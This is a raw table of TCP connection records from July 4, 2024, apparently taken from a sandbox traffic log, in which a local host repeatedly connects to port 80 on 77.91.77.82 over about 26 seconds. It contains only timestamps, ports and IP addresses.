Jul 4, 2024 00:02:08.013726950 CEST	49934	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:08.013859034 CEST	80	49935	77.91.77.82	192.168.2.4
Jul 4, 2024 00:02:08.013984919 CEST	49935	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:08.014180899 CEST	49935	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:08.021192074 CEST	80	49935	77.91.77.82	192.168.2.4
Jul 4, 2024 00:02:08.719862938 CEST	80	49935	77.91.77.82	192.168.2.4
Jul 4, 2024 00:02:08.719924927 CEST	49935	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:08.840099096 CEST	49936	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:08.840104103 CEST	49935	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:08.847803116 CEST	80	49936	77.91.77.82	192.168.2.4
Jul 4, 2024 00:02:08.848400116 CEST	49936	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:08.848400116 CEST	49936	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:08.848442078 CEST	80	49935	77.91.77.82	192.168.2.4
Jul 4, 2024 00:02:08.855767012 CEST	80	49936	77.91.77.82	192.168.2.4
Jul 4, 2024 00:02:08.855815887 CEST	49935	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:09.557427883 CEST	80	49936	77.91.77.82	192.168.2.4
Jul 4, 2024 00:02:09.562654018 CEST	49936	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:09.562654018 CEST	49936	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:09.564091921 CEST	49937	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:09.569685936 CEST	80	49936	77.91.77.82	192.168.2.4
Jul 4, 2024 00:02:09.571700096 CEST	80	49937	77.91.77.82	192.168.2.4
Jul 4, 2024 00:02:09.572215080 CEST	49937	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:09.572215080 CEST	49936	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:09.575896978 CEST	49937	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:09.583148956 CEST	80	49937	77.91.77.82	192.168.2.4
Jul 4, 2024 00:02:10.277471066 CEST	80	49937	77.91.77.82	192.168.2.4
Jul 4, 2024 00:02:10.277529955 CEST	49937	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:10.385776043 CEST	49937	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:10.386168003 CEST	49938	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:10.390995026 CEST	80	49938	77.91.77.82	192.168.2.4
Jul 4, 2024 00:02:10.391016006 CEST	80	49937	77.91.77.82	192.168.2.4
Jul 4, 2024 00:02:10.391056061 CEST	49938	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:10.391082048 CEST	49937	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:10.391386032 CEST	49938	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:10.396142960 CEST	80	49938	77.91.77.82	192.168.2.4
Jul 4, 2024 00:02:11.116813898 CEST	80	49938	77.91.77.82	192.168.2.4
Jul 4, 2024 00:02:11.120753050 CEST	49938	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:11.120753050 CEST	49938	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:11.121383905 CEST	49939	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:11.125885963 CEST	80	49938	77.91.77.82	192.168.2.4
Jul 4, 2024 00:02:11.126198053 CEST	80	49939	77.91.77.82	192.168.2.4
Jul 4, 2024 00:02:11.126223087 CEST	49938	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:11.130244017 CEST	49939	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:11.134174109 CEST	49939	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:11.139264107 CEST	80	49939	77.91.77.82	192.168.2.4
Jul 4, 2024 00:02:11.825347900 CEST	80	49939	77.91.77.82	192.168.2.4
Jul 4, 2024 00:02:11.825516939 CEST	49939	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:11.933254004 CEST	49939	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:11.933604956 CEST	49940	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:11.938841105 CEST	80	49940	77.91.77.82	192.168.2.4
Jul 4, 2024 00:02:11.938909054 CEST	49940	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:11.939038992 CEST	80	49939	77.91.77.82	192.168.2.4
Jul 4, 2024 00:02:11.939066887 CEST	49940	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:11.939084053 CEST	49939	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:11.943990946 CEST	80	49940	77.91.77.82	192.168.2.4
Jul 4, 2024 00:02:12.644577026 CEST	80	49940	77.91.77.82	192.168.2.4
Jul 4, 2024 00:02:12.644640923 CEST	49940	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:12.648957968 CEST	49940	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:12.649362087 CEST	49941	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:12.653958082 CEST	80	49940	77.91.77.82	192.168.2.4
Jul 4, 2024 00:02:12.654006958 CEST	49940	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:12.654107094 CEST	80	49941	77.91.77.82	192.168.2.4
Jul 4, 2024 00:02:12.654166937 CEST	49941	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:12.654478073 CEST	49941	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:12.659919977 CEST	80	49941	77.91.77.82	192.168.2.4
Jul 4, 2024 00:02:13.374159098 CEST	80	49941	77.91.77.82	192.168.2.4
Jul 4, 2024 00:02:13.382174015 CEST	49941	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:13.494180918 CEST	49941	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:13.494180918 CEST	49942	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:13.499176025 CEST	80	49942	77.91.77.82	192.168.2.4
Jul 4, 2024 00:02:13.499466896 CEST	80	49941	77.91.77.82	192.168.2.4
Jul 4, 2024 00:02:13.500159979 CEST	49941	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:13.500159979 CEST	49942	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:13.500478983 CEST	49942	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:13.505453110 CEST	80	49942	77.91.77.82	192.168.2.4
Jul 4, 2024 00:02:14.203097105 CEST	80	49942	77.91.77.82	192.168.2.4
Jul 4, 2024 00:02:14.203150988 CEST	49942	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:14.207242012 CEST	49942	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:14.207715988 CEST	49943	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:14.212574005 CEST	80	49942	77.91.77.82	192.168.2.4
Jul 4, 2024 00:02:14.212585926 CEST	80	49943	77.91.77.82	192.168.2.4
Jul 4, 2024 00:02:14.212614059 CEST	49942	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:14.212680101 CEST	49943	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:14.212780952 CEST	49943	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:14.217746973 CEST	80	49943	77.91.77.82	192.168.2.4
Jul 4, 2024 00:02:14.918133974 CEST	80	49943	77.91.77.82	192.168.2.4
Jul 4, 2024 00:02:14.924099922 CEST	49943	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:15.025742054 CEST	49943	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:15.025742054 CEST	49944	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:15.031424046 CEST	80	49944	77.91.77.82	192.168.2.4
Jul 4, 2024 00:02:15.031872988 CEST	80	49943	77.91.77.82	192.168.2.4
Jul 4, 2024 00:02:15.032037973 CEST	49943	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:15.032037973 CEST	49944	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:15.034905910 CEST	49944	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:15.039729118 CEST	80	49944	77.91.77.82	192.168.2.4
Jul 4, 2024 00:02:15.725368023 CEST	80	49944	77.91.77.82	192.168.2.4
Jul 4, 2024 00:02:15.728176117 CEST	49944	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:15.730988026 CEST	49944	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:15.730988026 CEST	49945	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:15.736582994 CEST	80	49945	77.91.77.82	192.168.2.4
Jul 4, 2024 00:02:15.736819029 CEST	80	49944	77.91.77.82	192.168.2.4
Jul 4, 2024 00:02:15.736852884 CEST	49945	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:15.737051964 CEST	49945	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:15.737140894 CEST	49944	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:15.742630005 CEST	80	49945	77.91.77.82	192.168.2.4
Jul 4, 2024 00:02:16.470323086 CEST	80	49945	77.91.77.82	192.168.2.4
Jul 4, 2024 00:02:16.470377922 CEST	49945	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:16.589551926 CEST	49945	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:16.590042114 CEST	49946	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:16.596194029 CEST	80	49946	77.91.77.82	192.168.2.4
Jul 4, 2024 00:02:16.596261978 CEST	49946	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:16.596391916 CEST	80	49945	77.91.77.82	192.168.2.4
Jul 4, 2024 00:02:16.596434116 CEST	49945	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:16.596576929 CEST	49946	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:16.604154110 CEST	80	49946	77.91.77.82	192.168.2.4
Jul 4, 2024 00:02:17.335144043 CEST	80	49946	77.91.77.82	192.168.2.4
Jul 4, 2024 00:02:17.340811968 CEST	49946	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:17.340811968 CEST	49946	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:17.342175961 CEST	49947	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:17.347671032 CEST	80	49946	77.91.77.82	192.168.2.4
Jul 4, 2024 00:02:17.348321915 CEST	80	49947	77.91.77.82	192.168.2.4
Jul 4, 2024 00:02:17.350295067 CEST	49946	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:17.350297928 CEST	49947	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:17.354173899 CEST	49947	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:17.360532999 CEST	80	49947	77.91.77.82	192.168.2.4
Jul 4, 2024 00:02:18.068846941 CEST	80	49947	77.91.77.82	192.168.2.4
Jul 4, 2024 00:02:18.068911076 CEST	49947	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:18.182637930 CEST	49947	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:18.183092117 CEST	49948	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:18.187815905 CEST	80	49947	77.91.77.82	192.168.2.4
Jul 4, 2024 00:02:18.187863111 CEST	49947	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:18.187891960 CEST	80	49948	77.91.77.82	192.168.2.4
Jul 4, 2024 00:02:18.187966108 CEST	49948	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:18.188066959 CEST	49948	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:18.192852020 CEST	80	49948	77.91.77.82	192.168.2.4
Jul 4, 2024 00:02:18.893541098 CEST	80	49948	77.91.77.82	192.168.2.4
Jul 4, 2024 00:02:18.894241095 CEST	49948	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:18.900099039 CEST	49948	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:18.900105953 CEST	49949	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:18.908478022 CEST	80	49949	77.91.77.82	192.168.2.4
Jul 4, 2024 00:02:18.908770084 CEST	80	49948	77.91.77.82	192.168.2.4
Jul 4, 2024 00:02:18.912204027 CEST	49948	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:18.912208080 CEST	49949	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:18.916122913 CEST	49949	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:18.924118996 CEST	80	49949	77.91.77.82	192.168.2.4
Jul 4, 2024 00:02:19.625140905 CEST	80	49949	77.91.77.82	192.168.2.4
Jul 4, 2024 00:02:19.632114887 CEST	49949	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:19.744097948 CEST	49949	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:19.744097948 CEST	49950	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:19.749027967 CEST	80	49950	77.91.77.82	192.168.2.4
Jul 4, 2024 00:02:19.749171019 CEST	49950	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:19.749334097 CEST	49950	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:19.749337912 CEST	80	49949	77.91.77.82	192.168.2.4
Jul 4, 2024 00:02:19.752154112 CEST	49949	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:19.754622936 CEST	80	49950	77.91.77.82	192.168.2.4
Jul 4, 2024 00:02:20.454296112 CEST	80	49950	77.91.77.82	192.168.2.4
Jul 4, 2024 00:02:20.454360962 CEST	49950	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:20.457973003 CEST	49950	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:20.458378077 CEST	49951	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:20.463900089 CEST	80	49950	77.91.77.82	192.168.2.4
Jul 4, 2024 00:02:20.463926077 CEST	80	49951	77.91.77.82	192.168.2.4
Jul 4, 2024 00:02:20.463948011 CEST	49950	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:20.464004993 CEST	49951	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:20.464108944 CEST	49951	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:20.470913887 CEST	80	49951	77.91.77.82	192.168.2.4
Jul 4, 2024 00:02:21.188724995 CEST	80	49951	77.91.77.82	192.168.2.4
Jul 4, 2024 00:02:21.196099043 CEST	49951	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:21.308101892 CEST	49951	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:21.308104992 CEST	49952	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:21.322367907 CEST	80	49952	77.91.77.82	192.168.2.4
Jul 4, 2024 00:02:21.322716951 CEST	49952	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:21.322716951 CEST	49952	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:21.324240923 CEST	80	49951	77.91.77.82	192.168.2.4
Jul 4, 2024 00:02:21.324455023 CEST	49951	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:21.329201937 CEST	80	49952	77.91.77.82	192.168.2.4
Jul 4, 2024 00:02:22.022624016 CEST	80	49952	77.91.77.82	192.168.2.4
Jul 4, 2024 00:02:22.022732019 CEST	49952	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:22.026825905 CEST	49952	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:22.027225018 CEST	49953	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:22.033349991 CEST	80	49952	77.91.77.82	192.168.2.4
Jul 4, 2024 00:02:22.033412933 CEST	49952	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:22.033598900 CEST	80	49953	77.91.77.82	192.168.2.4
Jul 4, 2024 00:02:22.033788919 CEST	49953	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:22.033921957 CEST	49953	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:22.040309906 CEST	80	49953	77.91.77.82	192.168.2.4
Jul 4, 2024 00:02:22.754200935 CEST	80	49953	77.91.77.82	192.168.2.4
Jul 4, 2024 00:02:22.754246950 CEST	49953	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:22.872117996 CEST	49953	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:22.872117996 CEST	49954	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:22.878629923 CEST	80	49954	77.91.77.82	192.168.2.4
Jul 4, 2024 00:02:22.878988028 CEST	80	49953	77.91.77.82	192.168.2.4
Jul 4, 2024 00:02:22.880233049 CEST	49953	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:22.880233049 CEST	49954	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:22.884125948 CEST	49954	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:22.890258074 CEST	80	49954	77.91.77.82	192.168.2.4
Jul 4, 2024 00:02:23.604430914 CEST	80	49954	77.91.77.82	192.168.2.4
Jul 4, 2024 00:02:23.606247902 CEST	49954	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:23.614129066 CEST	49954	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:23.618107080 CEST	49955	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:23.619234085 CEST	80	49954	77.91.77.82	192.168.2.4
Jul 4, 2024 00:02:23.622474909 CEST	49954	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:23.622940063 CEST	80	49955	77.91.77.82	192.168.2.4
Jul 4, 2024 00:02:23.623267889 CEST	49955	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:23.623267889 CEST	49955	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:23.628093004 CEST	80	49955	77.91.77.82	192.168.2.4
Jul 4, 2024 00:02:24.336183071 CEST	80	49955	77.91.77.82	192.168.2.4
Jul 4, 2024 00:02:24.336237907 CEST	49955	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:24.448502064 CEST	49955	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:24.448961973 CEST	49956	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:24.453679085 CEST	80	49955	77.91.77.82	192.168.2.4
Jul 4, 2024 00:02:24.453723907 CEST	49955	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:24.453763962 CEST	80	49956	77.91.77.82	192.168.2.4
Jul 4, 2024 00:02:24.453851938 CEST	49956	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:24.454103947 CEST	49956	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:24.459034920 CEST	80	49956	77.91.77.82	192.168.2.4
Jul 4, 2024 00:02:25.175432920 CEST	80	49956	77.91.77.82	192.168.2.4
Jul 4, 2024 00:02:25.175546885 CEST	49956	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:25.179092884 CEST	49956	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:25.179095030 CEST	49957	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:25.183929920 CEST	80	49957	77.91.77.82	192.168.2.4
Jul 4, 2024 00:02:25.184410095 CEST	80	49956	77.91.77.82	192.168.2.4
Jul 4, 2024 00:02:25.186322927 CEST	49957	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:25.186325073 CEST	49956	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:25.186680079 CEST	49957	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:25.191459894 CEST	80	49957	77.91.77.82	192.168.2.4
Jul 4, 2024 00:02:25.911575079 CEST	80	49957	77.91.77.82	192.168.2.4
Jul 4, 2024 00:02:25.911658049 CEST	49957	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:26.028124094 CEST	49957	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:26.028634071 CEST	49958	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:26.033212900 CEST	80	49957	77.91.77.82	192.168.2.4
Jul 4, 2024 00:02:26.033333063 CEST	49957	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:26.033343077 CEST	80	49958	77.91.77.82	192.168.2.4
Jul 4, 2024 00:02:26.033415079 CEST	49958	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:26.039261103 CEST	49958	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:26.044096947 CEST	80	49958	77.91.77.82	192.168.2.4
Jul 4, 2024 00:02:26.741024017 CEST	80	49958	77.91.77.82	192.168.2.4
Jul 4, 2024 00:02:26.741087914 CEST	49958	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:26.745131016 CEST	49958	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:26.745596886 CEST	49959	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:26.752289057 CEST	80	49958	77.91.77.82	192.168.2.4
Jul 4, 2024 00:02:26.752295017 CEST	80	49959	77.91.77.82	192.168.2.4
Jul 4, 2024 00:02:26.752331972 CEST	49958	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:26.752381086 CEST	49959	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:26.752644062 CEST	49959	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:26.758996964 CEST	80	49959	77.91.77.82	192.168.2.4
Jul 4, 2024 00:02:27.448518991 CEST	80	49959	77.91.77.82	192.168.2.4
Jul 4, 2024 00:02:27.448687077 CEST	49959	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:27.558357954 CEST	49960	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:27.558357954 CEST	49959	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:27.563512087 CEST	80	49960	77.91.77.82	192.168.2.4
Jul 4, 2024 00:02:27.564157009 CEST	80	49959	77.91.77.82	192.168.2.4
Jul 4, 2024 00:02:27.566286087 CEST	49960	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:27.566286087 CEST	49959	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:27.570158005 CEST	49960	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:27.575067997 CEST	80	49960	77.91.77.82	192.168.2.4
Jul 4, 2024 00:02:28.277296066 CEST	80	49960	77.91.77.82	192.168.2.4
Jul 4, 2024 00:02:28.277364016 CEST	49960	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:28.280848026 CEST	49960	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:28.281188965 CEST	49961	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:28.288250923 CEST	80	49960	77.91.77.82	192.168.2.4
Jul 4, 2024 00:02:28.288275957 CEST	80	49961	77.91.77.82	192.168.2.4
Jul 4, 2024 00:02:28.288296938 CEST	49960	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:28.288356066 CEST	49961	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:28.288743019 CEST	49961	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:28.295475960 CEST	80	49961	77.91.77.82	192.168.2.4
Jul 4, 2024 00:02:29.016293049 CEST	80	49961	77.91.77.82	192.168.2.4
Jul 4, 2024 00:02:29.020117998 CEST	49961	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:29.136116982 CEST	49961	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:29.136117935 CEST	49962	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:29.141122103 CEST	80	49962	77.91.77.82	192.168.2.4
Jul 4, 2024 00:02:29.141463041 CEST	80	49961	77.91.77.82	192.168.2.4
Jul 4, 2024 00:02:29.142277002 CEST	49961	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:29.142277002 CEST	49962	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:29.146194935 CEST	49962	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:29.151180983 CEST	80	49962	77.91.77.82	192.168.2.4
Jul 4, 2024 00:02:29.844969034 CEST	80	49962	77.91.77.82	192.168.2.4
Jul 4, 2024 00:02:29.845145941 CEST	49962	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:29.850131989 CEST	49962	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:29.850140095 CEST	49963	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:29.856717110 CEST	80	49963	77.91.77.82	192.168.2.4
Jul 4, 2024 00:02:29.856960058 CEST	49963	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:29.857328892 CEST	49963	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:29.857336998 CEST	80	49962	77.91.77.82	192.168.2.4
Jul 4, 2024 00:02:29.857517004 CEST	49962	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:29.863879919 CEST	80	49963	77.91.77.82	192.168.2.4
Jul 4, 2024 00:02:30.579171896 CEST	80	49963	77.91.77.82	192.168.2.4
Jul 4, 2024 00:02:30.579231977 CEST	49963	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:30.698177099 CEST	49963	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:30.698616028 CEST	49964	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:30.703418970 CEST	80	49964	77.91.77.82	192.168.2.4
Jul 4, 2024 00:02:30.703480959 CEST	49964	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:30.703665018 CEST	49964	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:30.703855991 CEST	80	49963	77.91.77.82	192.168.2.4
Jul 4, 2024 00:02:30.703897953 CEST	49963	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:30.708434105 CEST	80	49964	77.91.77.82	192.168.2.4
Jul 4, 2024 00:02:31.406203032 CEST	80	49964	77.91.77.82	192.168.2.4
Jul 4, 2024 00:02:31.412744999 CEST	49964	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:31.412744999 CEST	49964	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:31.414117098 CEST	49965	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:31.420053959 CEST	80	49964	77.91.77.82	192.168.2.4
Jul 4, 2024 00:02:31.420476913 CEST	80	49965	77.91.77.82	192.168.2.4
Jul 4, 2024 00:02:31.422312021 CEST	49964	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:31.422313929 CEST	49965	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:31.422406912 CEST	49965	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:31.428877115 CEST	80	49965	77.91.77.82	192.168.2.4
Jul 4, 2024 00:02:32.120943069 CEST	80	49965	77.91.77.82	192.168.2.4
Jul 4, 2024 00:02:32.120996952 CEST	49965	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:32.231551886 CEST	49965	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:32.231956005 CEST	49966	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:32.238148928 CEST	80	49966	77.91.77.82	192.168.2.4
Jul 4, 2024 00:02:32.238210917 CEST	49966	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:32.238378048 CEST	80	49965	77.91.77.82	192.168.2.4
Jul 4, 2024 00:02:32.238415003 CEST	49965	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:32.238497019 CEST	49966	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:32.244680882 CEST	80	49966	77.91.77.82	192.168.2.4
Jul 4, 2024 00:02:32.965492010 CEST	80	49966	77.91.77.82	192.168.2.4
Jul 4, 2024 00:02:32.966347933 CEST	49966	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:32.970300913 CEST	49966	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:32.970302105 CEST	49967	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:32.976779938 CEST	80	49967	77.91.77.82	192.168.2.4
Jul 4, 2024 00:02:32.977289915 CEST	80	49966	77.91.77.82	192.168.2.4
Jul 4, 2024 00:02:32.978696108 CEST	49967	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:32.978699923 CEST	49966	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:32.982831955 CEST	49967	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:32.991242886 CEST	80	49967	77.91.77.82	192.168.2.4
Jul 4, 2024 00:02:33.712968111 CEST	80	49967	77.91.77.82	192.168.2.4
Jul 4, 2024 00:02:33.720149994 CEST	49967	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:33.822350025 CEST	49967	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:33.822922945 CEST	49968	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:33.829447031 CEST	80	49967	77.91.77.82	192.168.2.4
Jul 4, 2024 00:02:33.829503059 CEST	80	49968	77.91.77.82	192.168.2.4
Jul 4, 2024 00:02:33.829523087 CEST	49967	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:33.829603910 CEST	49968	80	192.168.2.4	77.91.77.82
